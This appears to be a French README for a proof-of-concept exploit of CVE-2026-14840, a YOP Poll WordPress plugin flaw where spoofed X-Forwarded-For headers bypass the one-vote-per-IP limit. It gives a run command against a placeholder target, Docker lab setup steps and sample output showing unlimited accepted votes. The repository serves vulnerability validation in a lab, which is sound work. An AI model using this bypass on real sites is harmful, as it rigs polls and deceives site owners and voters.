
Preuve de concept d'exploit pour un contournement de la limite de vote d'un plugin WordPress utilisant des en-têtes X-Forwarded-For usurpés ; fournit un laboratoire Docker pour valider CVE-2026-14840 sur des instances WordPress autorisées.
Auteur : nullwhisper
Cas d'utilisation : recherche en sécurité autorisée / validation de vulnérabilités uniquement.
Le plugin YOP Poll, dans les versions < 7.0.6, applique une limite d'un vote par adresse IP. Le problème est que, pour obtenir l'IP du client, il vérifie HTTP_CLIENT_IP et HTTP_X_FORWARDED_FOR avant REMOTE_ADDR. Ces deux en-têtes étant contrôlés par l'attaquant, un utilisateur non authentifié peut usurper une nouvelle IP à chaque requête et voter un nombre illimité de fois.
.
├── cve_2026_14840_poc.py # Main PoC
├── lab/
│ ├── docker-compose.yml # WordPress lab
│ └── setup.php # Creates a poll + public test page
├── requirements.txt
└── README.md
pip3 install -r requirements.txt
python3 cve_2026_14840_poc.py -u https://target.com/page-with-poll -n 10
-n correspond au nombre de votes à émettre. Si plus d'un vote est accepté, la cible est vulnérable.
Le script bascule automatiquement sur ?rest_route=/yop-poll/v1/votes lorsque le site utilise des permaliens WordPress simples et que /wp-json/... renvoie du HTML.
Téléchargez le plugin vulnérable (ne redistribuez pas le binaire du plugin) :
mkdir -p lab/yop-poll
cd lab/yop-poll
wget https://downloads.wordpress.org/plugin/yop-poll.7.0.5.zip
unzip yop-poll.7.0.5.zip && rm yop-poll.7.0.5.zip
cd ../..
Démarrez le laboratoire :
cd lab
docker compose up -d
Complétez l'installateur WordPress à l'adresse http://127.0.0.1:8090.
Créez le sondage et la page de test :
docker exec -i lab-wpcli-1 php /tmp/setup.php
Exécutez la preuve de concept (PoC) :
python3 cve_2026_14840_poc.py -u 'http://127.0.0.1:8090/?page_id=4' -n 5
Testé sur WordPress 6.8 + YOP Poll 7.0.5 avec les permaliens simples par défaut.
Même IP trois fois — la limite fonctionne :
#1 201 -> Vote recorded successfully.
#2 403 -> You have already voted on this poll.
#3 403 -> You have already voted on this poll.
IP différente à chaque requête via X-Forwarded-For — le contournement fonctionne :
#1 201 -> Vote recorded successfully.
#2 201 -> Vote recorded successfully.
#3 201 -> Vote recorded successfully.
La table wp_yoppoll_votes augmente d'une ligne par IP usurpée, ce qui confirme que la limite par IP est contournée.
Ce dépôt contient uniquement la preuve de concept (PoC) et les fichiers d'orchestration du laboratoire. Le plugin YOP Poll est sous licence GPL-2.0+, mais distribuer une copie complète est inutile, alourdit le dépôt et peut poser problème. Téléchargez la version 7.0.5 depuis WordPress.org pour votre propre laboratoire.
Cet outil est destiné uniquement aux tests de sécurité et à la recherche autorisés. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester. L'auteur n'est pas responsable des mauvais usages ou des dommages causés par ce code.